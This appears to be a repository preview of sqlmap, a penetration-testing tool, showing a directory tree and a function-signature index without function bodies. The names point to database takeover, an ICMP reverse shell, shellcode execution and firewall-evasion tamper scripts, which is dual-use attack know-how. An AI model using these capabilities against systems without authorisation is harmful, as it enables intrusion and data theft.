│ │ └── lib_postgresqludf_sys.dll_
│ └── xml/
│ ├── banner/
│ │ ├── generic.xml
│ │ ├── mssql.xml
│ │ ├── mysql.xml
│ │ ├── oracle.xml
│ │ ├── postgresql.xml
│ │ ├── server.xml
│ │ ├── servlet-engine.xml
│ │ ├── set-cookie.xml
│ │ ├── sharepoint.xml
│ │ ├── x-aspnet-version.xml
│ │ └── x-powered-by.xml
│ ├── boundaries.xml
│ ├── errors.xml
│ ├── payloads/
│ │ ├── boolean_blind.xml
│ │ ├── error_based.xml
│ │ ├── inline_query.xml
│ │ ├── stacked_queries.xml
│ │ ├── time_blind.xml
│ │ └── union_query.xml
│ └── queries.xml
├── doc/
│ ├── AUTHORS
│ ├── CHANGELOG.md
│ ├── THANKS.md
│ ├── THIRD-PARTY.md
│ └── translations/
│ ├── README-ar-AR.md
│ ├── README-bg-BG.md
│ ├── README-bn-BD.md
│ ├── README-ckb-KU.md
│ ├── README-de-DE.md
│ ├── README-es-MX.md
│ ├── README-fa-IR.md
│ ├── README-fr-FR.md
│ ├── README-gr-GR.md
│ ├── README-hr-HR.md
│ ├── README-id-ID.md
│ ├── README-in-HI.md
│ ├── README-it-IT.md
│ ├── README-ja-JP.md
│ ├── README-ka-GE.md
│ ├── README-ko-KR.md
│ ├── README-nl-NL.md
│ ├── README-pl-PL.md
│ ├── README-pt-BR.md
│ ├── README-rs-RS.md
│ ├── README-ru-RU.md
│ ├── README-sk-SK.md
│ ├── README-tr-TR.md
│ ├── README-uk-UA.md
│ ├── README-vi-VN.md
│ └── README-zh-CN.md
├── extra/
│ ├── __init__.py
│ ├── beep/
│ │ ├── __init__.py
│ │ └── beep.py
│ ├── cloak/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ └── cloak.py
│ ├── dbgtool/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ └── dbgtool.py
│ ├── icmpsh/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ ├── icmpsh-m.c
│ │ ├── icmpsh-m.pl
│ │ ├── icmpsh-s.c
│ │ ├── icmpsh.exe_
│ │ └── icmpsh_m.py
│ ├── runcmd/
│ │ ├── README.txt
│ │ ├── runcmd.exe_
│ │ └── src/
│ │ ├── README.txt
│ │ ├── runcmd/
│ │ │ ├── runcmd.cpp
│ │ │ ├── runcmd.vcproj
│ │ │ ├── stdafx.cpp
│ │ │ └── stdafx.h
│ │ └── runcmd.sln
│ ├── shellcodeexec/
│ │ ├── README.txt
│ │ ├── linux/
│ │ │ ├── shellcodeexec.x32_
│ │ │ └── shellcodeexec.x64_
│ │ └── windows/
│ │ └── shellcodeexec.x32.exe_
│ ├── shutils/
│ │ ├── autocompletion.sh
│ │ ├── blanks.sh
│ │ ├── drei.sh
│ │ ├── duplicates.py
│ │ ├── junk.sh
│ │ ├── newlines.py
│ │ ├── postcommit-hook.sh
│ │ ├── precommit-hook.sh
│ │ ├── pycodestyle.sh
│ │ ├── pydiatra.sh
│ │ ├── pyflakes.sh
│ │ ├── pypi.sh
│ │ ├── recloak.sh
│ │ └── strip.sh
│ └── vulnserver/
│ ├── __init__.py
│ └── vulnserver.py
├── lib/
│ ├── __init__.py
│ ├── controller/
│ │ ├── __init__.py
│ │ ├── action.py
│ │ ├── checks.py
│ │ ├── controller.py
│ │ └── handler.py
│ ├── core/
│ │ ├── __init__.py
│ │ ├── agent.py
│ │ ├── bigarray.py
│ │ ├── common.py
│ │ ├── compat.py
│ │ ├── convert.py
│ │ ├── data.py
│ │ ├── datatype.py
│ │ ├── decorators.py
│ │ ├── defaults.py
│ │ ├── dicts.py
│ │ ├── dump.py
│ │ ├── enums.py
│ │ ├── exception.py
│ │ ├── log.py
│ │ ├── option.py
│ │ ├── optiondict.py
│ │ ├── patch.py
│ │ ├── profiling.py
│ │ ├── readlineng.py
│ │ ├── replication.py
│ │ ├── revision.py
│ │ ├── session.py
│ │ ├── settings.py
│ │ ├── shell.py
│ │ ├── subprocessng.py
│ │ ├── target.py
│ │ ├── testing.py
│ │ ├── threads.py
│ │ ├── unescaper.py
│ │ ├── update.py
│ │ └── wordlist.py
│ ├── parse/
│ │ ├── __init__.py
│ │ ├── banner.py
│ │ ├── cmdline.py
│ │ ├── configfile.py
│ │ ├── handler.py
│ │ ├── headers.py
│ │ ├── html.py
│ │ ├── payloads.py
│ │ └── sitemap.py
│ ├── request/
│ │ ├── __init__.py
│ │ ├── basic.py
│ │ ├── basicauthhandler.py
│ │ ├── chunkedhandler.py
│ │ ├── comparison.py
│ │ ├── connect.py
│ │ ├── direct.py
│ │ ├── dns.py
│ │ ├── httpshandler.py
│ │ ├── inject.py
│ │ ├── methodrequest.py
│ │ ├── pkihandler.py
│ │ ├── rangehandler.py
│ │ ├── redirecthandler.py
│ │ └── templates.py
│ ├── takeover/
│ │ ├── __init__.py
│ │ ├── abstraction.py
│ │ ├── icmpsh.py
│ │ ├── metasploit.py
│ │ ├── registry.py
│ │ ├── udf.py
│ │ ├── web.py
│ │ └── xp_cmdshell.py
│ ├── techniques/
│ │ ├── __init__.py
│ │ ├── blind/
│ │ │ ├── __init__.py
│ │ │ └── inference.py
│ │ ├── dns/
│ │ │ ├── __init__.py
│ │ │ ├── test.py
│ │ │ └── use.py
│ │ ├── error/
│ │ │ ├── __init__.py
│ │ │ └── use.py
│ │ └── union/
│ │ ├── __init__.py
│ │ ├── test.py
│ │ └── use.py
│ └── utils/
│ ├── __init__.py
│ ├── api.py
│ ├── brute.py
│ ├── crawler.py
│ ├── deps.py
│ ├── getch.py
│ ├── gui.py
│ ├── har.py
│ ├── hash.py
│ ├── hashdb.py
│ ├── pivotdumptable.py
│ ├── progress.py
│ ├── purge.py
│ ├── safe2bin.py
│ ├── search.py
│ ├── sgmllib.py
│ ├── sqlalchemy.py
│ ├── timeout.py
│ ├── tui.py
│ ├── versioncheck.py
│ └── xrange.py
├── plugins/
│ ├── __init__.py
│ ├── dbms/
│ │ ├── __init__.py
│ │ ├── access/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── altibase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cache/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── clickhouse/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cratedb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cubrid/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── db2/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── derby/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── extremedb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── firebird/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── frontbase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── h2/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── hsqldb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── informix/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── maxdb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mckoi/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mimersql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── monetdb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mssqlserver/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mysql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── oracle/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── postgresql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── presto/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── raima/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── snowflake/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── spanner/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── sqlite/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── sybase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── vertica/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ └── virtuoso/
│ │ ├── __init__.py
│ │ ├── connector.py
│ │ ├── enumeration.py
│ │ ├── filesystem.py
│ │ ├── fingerprint.py
│ │ ├── syntax.py
│ │ └── takeover.py
│ └── generic/
│ ├── __init__.py
│ ├── connector.py
│ ├── custom.py
│ ├── databases.py
│ ├── entries.py
│ ├── enumeration.py
│ ├── filesystem.py
│ ├── fingerprint.py
│ ├── misc.py
│ ├── search.py
│ ├── syntax.py
│ ├── takeover.py
│ └── users.py
├── sqlmap.conf
├── sqlmap.py
├── sqlmapapi.py
├── sqlmapapi.yaml
├── tamper/
│ ├── 0eunion.py
│ ├── __init__.py
│ ├── apostrophemask.py
│ ├── apostrophenullencode.py
│ ├── appendnullbyte.py
│ ├── base64encode.py
│ ├── between.py
│ ├── binary.py
│ ├── bluecoat.py
│ ├── chardoubleencode.py
│ ├── charencode.py
│ ├── charunicodeencode.py
│ ├── charunicodeescape.py
│ ├── commalesslimit.py
│ ├── commalessmid.py
│ ├── commentbeforeparentheses.py
│ ├── concat2concatws.py
│ ├── decentities.py
│ ├── dunion.py
│ ├── equaltolike.py
│ ├── equaltorlike.py
│ ├── escapequotes.py
│ ├── greatest.py
│ ├── halfversionedmorekeywords.py
│ ├── hex2char.py
│ ├── hexentities.py
│ ├── htmlencode.py
│ ├── if2case.py
│ ├── ifnull2casewhenisnull.py
│ ├── ifnull2ifisnull.py
│ ├── informationschemacomment.py
│ ├── least.py
│ ├── lowercase.py
│ ├── luanginx.py
│ ├── luanginxmore.py
│ ├── misunion.py
│ ├── modsecurityversioned.py
│ ├── modsecurityzeroversioned.py
│ ├── multiplespaces.py
│ ├── ord2ascii.py
│ ├── overlongutf8.py
│ ├── overlongutf8more.py
│ ├── percentage.py
│ ├── plus2concat.py
│ ├── plus2fnconcat.py
│ ├── randomcase.py
│ ├── randomcomments.py
│ ├── schemasplit.py
│ ├── scientific.py
│ ├── sleep2getlock.py
│ ├── sp_password.py
│ ├── space2comment.py
│ ├── space2dash.py
│ ├── space2hash.py
│ ├── space2morecomment.py
│ ├── space2morehash.py
│ ├── space2mssqlblank.py
│ ├── space2mssqlhash.py
│ ├── space2mysqlblank.py
│ ├── space2mysqldash.py
│ ├── space2plus.py
│ ├── space2randomblank.py
│ ├── substring2leftright.py
│ ├── symboliclogical.py
│ ├── unionalltounion.py
│ ├── unmagicquotes.py
│ ├── uppercase.py
│ ├── varnish.py
│ ├── versionedkeywords.py
│ ├── versionedmorekeywords.py
│ └── xforwardedfor.py
└── thirdparty/
├── __init__.py
├── ansistrm/
│ ├── __init__.py
│ └── ansistrm.py
├── beautifulsoup/
│ ├── __init__.py
│ └── beautifulsoup.py
├── bottle/
│ ├── __init__.py
│ └── bottle.py
├── chardet/
│ ├── __init__.py
│ ├── big5freq.py
│ ├── big5prober.py
│ ├── chardistribution.py
│ ├── charsetgroupprober.py
│ ├── charsetprober.py
│ ├── codingstatemachine.py
│ ├── compat.py
│ ├── cp949prober.py
│ ├── enums.py
│ ├── escprober.py
│ ├── escsm.py
│ ├── eucjpprober.py
│ ├── euckrfreq.py
│ ├── euckrprober.py
│ ├── euctwfreq.py
│ ├── euctwprober.py
│ ├── gb2312freq.py
│ ├── gb2312prober.py
│ ├── hebrewprober.py
│ ├── jisfreq.py
│ ├── jpcntx.py
│ ├── langbulgarianmodel.py
│ ├── langcyrillicmodel.py
│ ├── langgreekmodel.py
│ ├── langhebrewmodel.py
│ ├── langhungarianmodel.py
│ ├── langthaimodel.py
│ ├── langturkishmodel.py
│ ├── latin1prober.py
│ ├── mbcharsetprober.py
│ ├── mbcsgroupprober.py
│ ├── mbcssm.py
│ ├── sbcharsetprober.py
│ ├── sbcsgroupprober.py
│ ├── sjisprober.py
│ ├── universaldetector.py
│ ├── utf8prober.py
│ └── version.py
├── clientform/
│ ├── __init__.py
│ └── clientform.py
├── colorama/
│ ├── __init__.py
│ ├── ansi.py
│ ├── ansitowin32.py
│ ├── initialise.py
│ ├── win32.py
│ └── winterm.py
├── fcrypt/
│ ├── __init__.py
│ └── fcrypt.py
├── identywaf/
│ ├── LICENSE
│ ├── __init__.py
│ ├── data.json
│ └── identYwaf.py
├── keepalive/
│ ├── __init__.py
│ └── keepalive.py
├── magic/
│ ├── __init__.py
│ └── magic.py
├── multipart/
│ ├── __init__.py
│ └── multipartpost.py
├── odict/
│ ├── __init__.py
│ └── ordereddict.py
├── pydes/
│ ├── __init__.py
│ └── pyDes.py
├── six/
│ └── __init__.py
├── socks/
│ ├── LICENSE
│ ├── __init__.py
│ └── socks.py
├── termcolor/
│ ├── __init__.py
│ └── termcolor.py
└── wininetpton/
├── __init__.py
└── win_inet_pton.py
Showing preview only (245K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (3385 symbols across 431 files)
FILE: data/procs/postgresql/dns_request.sql
type RANDSTR1 (line 3) | CREATE TABLE %RANDSTR1%(%RANDSTR2% text)
FILE: extra/beep/beep.py
function beep (line 16) | def beep():
function _speaker_beep (line 31) | def _speaker_beep():
function _cygwin_beep (line 40) | def _cygwin_beep(filename):
function _mac_wav_play (line 43) | def _mac_wav_play(filename):
function _win_wav_play (line 46) | def _win_wav_play(filename):
function _linux_wav_play (line 51) | def _linux_wav_play(filename):
FILE: extra/cloak/cloak.py
function xor (line 26) | def xor(message, key):
function cloak (line 29) | def cloak(inputFile=None, data=None):
function decloak (line 36) | def decloak(inputFile=None, data=None):
function main (line 51) | def main():
FILE: extra/dbgtool/dbgtool.py
function convert (line 18) | def convert(inputFile):
function main (line 61) | def main(inputFile, outputFile):
FILE: extra/icmpsh/icmpsh-m.c
function checksum (line 34) | unsigned short checksum(unsigned short *ptr, int nbytes)
function main (line 57) | int main(int argc, char **argv)
FILE: extra/icmpsh/icmpsh-s.c
function spawn_shell (line 44) | int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_wr...
function usage (line 91) | void usage(char *path)
function create_icmp_channel (line 107) | void create_icmp_channel(HANDLE *icmp_chan)
function transfer_icmp (line 113) | int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, ...
function load_deps (line 157) | int load_deps()
function main (line 191) | int main(int argc, char **argv)
FILE: extra/icmpsh/icmpsh_m.py
function setNonBlocking (line 27) | def setNonBlocking(fd):
function main (line 38) | def main(src, dst):
FILE: extra/runcmd/src/runcmd/runcmd.cpp
function main (line 28) | int main(int argc, char* argv[])
FILE: extra/shutils/newlines.py
function check (line 8) | def check(filepath):
FILE: extra/vulnserver/vulnserver.py
function init (line 130) | def init(quiet=False):
class ThreadingServer (line 152) | class ThreadingServer(ThreadingMixIn, HTTPServer):
method finish_request (line 153) | def finish_request(self, *args, **kwargs):
class ReqHandler (line 160) | class ReqHandler(BaseHTTPRequestHandler):
method do_REQUEST (line 161) | def do_REQUEST(self):
method do_GET (line 295) | def do_GET(self):
method do_PUT (line 298) | def do_PUT(self):
method do_HEAD (line 301) | def do_HEAD(self):
method do_POST (line 304) | def do_POST(self):
method log_message (line 331) | def log_message(self, format, *args):
function run (line 334) | def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
FILE: lib/controller/action.py
function action (line 23) | def action():
FILE: lib/controller/checks.py
function checkSqlInjection (line 108) | def checkSqlInjection(place, parameter, value):
function heuristicCheckDbms (line 863) | def heuristicCheckDbms(injection):
function checkFalsePositives (line 909) | def checkFalsePositives(injection):
function checkSuhosinPatch (line 976) | def checkSuhosinPatch(injection):
function checkFilteredChars (line 1000) | def checkFilteredChars(injection):
function heuristicCheckSqlInjection (line 1028) | def heuristicCheckSqlInjection(place, parameter):
function checkDynParam (line 1157) | def checkDynParam(place, parameter, value):
function checkDynamicContent (line 1187) | def checkDynamicContent(firstPage, secondPage):
function checkStability (line 1243) | def checkStability():
function checkWaf (line 1337) | def checkWaf():
function checkNullConnection (line 1416) | def checkNullConnection():
function checkConnection (line 1474) | def checkConnection(suppressOutput=False):
function checkInternet (line 1595) | def checkInternet():
function setVerbosity (line 1598) | def setVerbosity(): # Cross-referenced function
FILE: lib/controller/controller.py
function _selectInjection (line 82) | def _selectInjection():
function _formatInjection (line 144) | def _formatInjection(inj):
function _showInjections (line 170) | def _showInjections():
function _randomFillBlankFields (line 197) | def _randomFillBlankFields(value):
function _saveToHashDB (line 215) | def _saveToHashDB():
function _saveToResultsFile (line 239) | def _saveToResultsFile():
function start (line 268) | def start():
FILE: lib/controller/handler.py
function setHandler (line 79) | def setHandler():
FILE: lib/core/agent.py
class Agent (line 63) | class Agent(object):
method payloadDirect (line 68) | def payloadDirect(self, query):
method payload (line 89) | def payload(self, place=None, parameter=None, value=None, newValue=Non...
method prefixQuery (line 265) | def prefixQuery(self, expression, prefix=None, where=None, clause=None):
method suffixQuery (line 313) | def suffixQuery(self, expression, comment=None, suffix=None, where=Non...
method cleanupPayload (line 354) | def cleanupPayload(self, payload, origValue=None):
method adjustLateValues (line 407) | def adjustLateValues(self, payload):
method getComment (line 446) | def getComment(self, request):
method hexConvertField (line 453) | def hexConvertField(self, field):
method nullAndCastField (line 469) | def nullAndCastField(self, field):
method nullCastConcatFields (line 535) | def nullCastConcatFields(self, fields):
method getFields (line 584) | def getFields(self, query):
method simpleConcatenate (line 656) | def simpleConcatenate(self, first, second):
method preprocessField (line 660) | def preprocessField(self, table, field):
method concatQuery (line 679) | def concatQuery(self, query, unpack=True):
method forgeUnionQuery (line 828) | def forgeUnionQuery(self, query, position, count, comment, prefix, suf...
method limitCondition (line 942) | def limitCondition(self, expression, dump=False):
method limitQuery (line 1015) | def limitQuery(self, num, query, field=None, uniqueField=None):
method forgeQueryOutputLength (line 1175) | def forgeQueryOutputLength(self, expression):
method forgeCaseStatement (line 1195) | def forgeCaseStatement(self, expression):
method addPayloadDelimiters (line 1222) | def addPayloadDelimiters(self, value):
method removePayloadDelimiters (line 1229) | def removePayloadDelimiters(self, value):
method extractPayload (line 1236) | def extractPayload(self, value):
method replacePayload (line 1244) | def replacePayload(self, value, payload):
method runAsDBMSUser (line 1252) | def runAsDBMSUser(self, query):
method whereQuery (line 1258) | def whereQuery(self, query):
FILE: lib/core/bigarray.py
function _size_of (line 39) | def _size_of(instance):
class Cache (line 55) | class Cache(object):
method __init__ (line 60) | def __init__(self, index, data, dirty):
class BigArray (line 65) | class BigArray(list):
method __init__ (line 104) | def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE):
method __add__ (line 117) | def __add__(self, value):
method __iadd__ (line 125) | def __iadd__(self, value):
method append (line 131) | def append(self, value):
method extend (line 146) | def extend(self, value):
method pop (line 150) | def pop(self):
method index (line 167) | def index(self, value):
method __reduce__ (line 174) | def __reduce__(self):
method close (line 177) | def close(self):
method __del__ (line 190) | def __del__(self):
method _dump (line 193) | def _dump(self, chunk):
method _checkcache (line 208) | def _checkcache(self, index):
method __getstate__ (line 225) | def __getstate__(self):
method __setstate__ (line 233) | def __setstate__(self, state):
method __getitem__ (line 265) | def __getitem__(self, y):
method __setitem__ (line 287) | def __setitem__(self, y, value):
method __repr__ (line 310) | def __repr__(self):
method __iter__ (line 313) | def __iter__(self):
method __len__ (line 338) | def __len__(self):
FILE: lib/core/common.py
class UnicodeRawConfigParser (line 210) | class UnicodeRawConfigParser(_configparser.RawConfigParser):
method write (line 215) | def write(self, fp):
class Format (line 240) | class Format(object):
method humanize (line 242) | def humanize(values, chain=" or "):
method getDbms (line 247) | def getDbms(versions=None):
method getErrorParsedDBMSes (line 266) | def getErrorParsedDBMSes():
method getOs (line 288) | def getOs(target, info):
class Backend (line 350) | class Backend(object):
method setDbms (line 352) | def setDbms(dbms):
method setVersion (line 390) | def setVersion(version):
method setVersionList (line 397) | def setVersionList(versionsList):
method forceDbms (line 406) | def forceDbms(dbms, sticky=False):
method flushForcedDbms (line 412) | def flushForcedDbms(force=False):
method setOs (line 418) | def setOs(os):
method setOsVersion (line 448) | def setOsVersion(version):
method setOsServicePack (line 456) | def setOsServicePack(sp):
method setArch (line 464) | def setArch():
method getForcedDbms (line 483) | def getForcedDbms():
method getDbms (line 487) | def getDbms():
method getErrorParsedDBMSes (line 491) | def getErrorParsedDBMSes():
method getIdentifiedDbms (line 506) | def getIdentifiedDbms():
method getVersion (line 534) | def getVersion():
method getVersionList (line 542) | def getVersionList():
method getOs (line 550) | def getOs():
method getOsVersion (line 554) | def getOsVersion():
method getOsServicePack (line 558) | def getOsServicePack():
method getArch (line 562) | def getArch():
method isDbms (line 569) | def isDbms(dbms):
method isFork (line 575) | def isFork(fork):
method isDbmsWithin (line 579) | def isDbmsWithin(aliases):
method isVersion (line 583) | def isVersion(version):
method isVersionWithin (line 587) | def isVersionWithin(versionList):
method isVersionGreaterOrEqualThan (line 598) | def isVersionGreaterOrEqualThan(version):
method isOs (line 613) | def isOs(os):
function paramToDict (line 616) | def paramToDict(place, parameters=None):
function getManualDirectories (line 789) | def getManualDirectories():
function getAutoDirectories (line 896) | def getAutoDirectories():
function filePathToSafeString (line 923) | def filePathToSafeString(filePath):
function singleTimeDebugMessage (line 936) | def singleTimeDebugMessage(message):
function singleTimeWarnMessage (line 939) | def singleTimeWarnMessage(message):
function singleTimeLogMessage (line 942) | def singleTimeLogMessage(message, level=logging.INFO, flag=None):
function boldifyMessage (line 950) | def boldifyMessage(message, istty=None):
function setColor (line 968) | def setColor(message, color=None, bold=False, level=None, istty=None):
function clearColors (line 1011) | def clearColors(message):
function dataToStdout (line 1026) | def dataToStdout(data, forceOutput=False, bold=False, contentType=None, ...
function dataToTrafficFile (line 1063) | def dataToTrafficFile(data):
function dataToDumpFile (line 1075) | def dataToDumpFile(dumpFile, data):
function dataToOutFile (line 1090) | def dataToOutFile(filename, data):
function readInput (line 1127) | def readInput(message, default=None, checkBatch=True, boolean=False):
function setTechnique (line 1218) | def setTechnique(technique):
function getTechnique (line 1225) | def getTechnique():
function randomRange (line 1232) | def randomRange(start=0, stop=1000, seed=None):
function randomInt (line 1250) | def randomInt(length=4, seed=None):
function randomStr (line 1268) | def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
function sanitizeStr (line 1293) | def sanitizeStr(value):
function getHeader (line 1305) | def getHeader(headers, key):
function checkPipedInput (line 1322) | def checkPipedInput():
function isZipFile (line 1330) | def isZipFile(filename):
function isDigit (line 1345) | def isDigit(value):
function checkFile (line 1361) | def checkFile(filename, raiseOnError=True):
function banner (line 1395) | def banner():
function parseJson (line 1410) | def parseJson(content):
function parsePasswordHash (line 1442) | def parsePasswordHash(password):
function cleanQuery (line 1471) | def cleanQuery(query):
function cleanReplaceUnicode (line 1499) | def cleanReplaceUnicode(value):
function setPaths (line 1512) | def setPaths(rootPath):
function weAreFrozen (line 1585) | def weAreFrozen():
function parseTargetDirect (line 1595) | def parseTargetDirect():
function parseTargetUrl (line 1716) | def parseTargetUrl():
function escapeJsonValue (line 1820) | def escapeJsonValue(value):
function expandAsteriskForColumns (line 1842) | def expandAsteriskForColumns(expression):
function getLimitRange (line 1884) | def getLimitRange(count, plusOne=False):
function parseUnionPage (line 1916) | def parseUnionPage(page):
function parseFilePaths (line 1965) | def parseFilePaths(page):
function getLocalIP (line 1985) | def getLocalIP():
function getRemoteIP (line 2008) | def getRemoteIP():
function getFileType (line 2030) | def getFileType(filePath):
function getCharset (line 2059) | def getCharset(charsetType=None):
function directoryPath (line 2107) | def directoryPath(filepath):
function normalizePath (line 2124) | def normalizePath(filepath):
function safeFilepathEncode (line 2140) | def safeFilepathEncode(filepath):
function safeExpandUser (line 2156) | def safeExpandUser(filepath):
function safeStringFormat (line 2175) | def safeStringFormat(format_, params):
function getFilteredPageContent (line 2238) | def getFilteredPageContent(page, onlyText=True, split=" "):
function getPageWordSet (line 2257) | def getPageWordSet(page):
function showStaticWords (line 2273) | def showStaticWords(firstPage, secondPage, minLength=3):
function isWindowsDriveLetterPath (line 2311) | def isWindowsDriveLetterPath(filepath):
function posixToNtSlashes (line 2323) | def posixToNtSlashes(filepath):
function ntToPosixSlashes (line 2334) | def ntToPosixSlashes(filepath):
function isHexEncodedString (line 2345) | def isHexEncodedString(subject):
function getConsoleWidth (line 2358) | def getConsoleWidth(default=80):
function shellExec (line 2392) | def shellExec(cmd):
function clearConsoleLine (line 2411) | def clearConsoleLine(forceOutput=False):
function parseXmlFile (line 2421) | def parseXmlFile(xmlFile, handler):
function getSQLSnippet (line 2435) | def getSQLSnippet(dbms, sfile, **variables):
function readCachedFileContent (line 2480) | def readCachedFileContent(filename, mode='r'):
function average (line 2502) | def average(values):
function stdev (line 2513) | def stdev(values):
function calculateDeltaSeconds (line 2530) | def calculateDeltaSeconds(start):
function initCommonOutputs (line 2540) | def initCommonOutputs():
function getFileItems (line 2568) | def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=F...
function goGoodSamaritan (line 2610) | def goGoodSamaritan(prevValue, originalCharset):
function getPartRun (line 2678) | def getPartRun(alias=True):
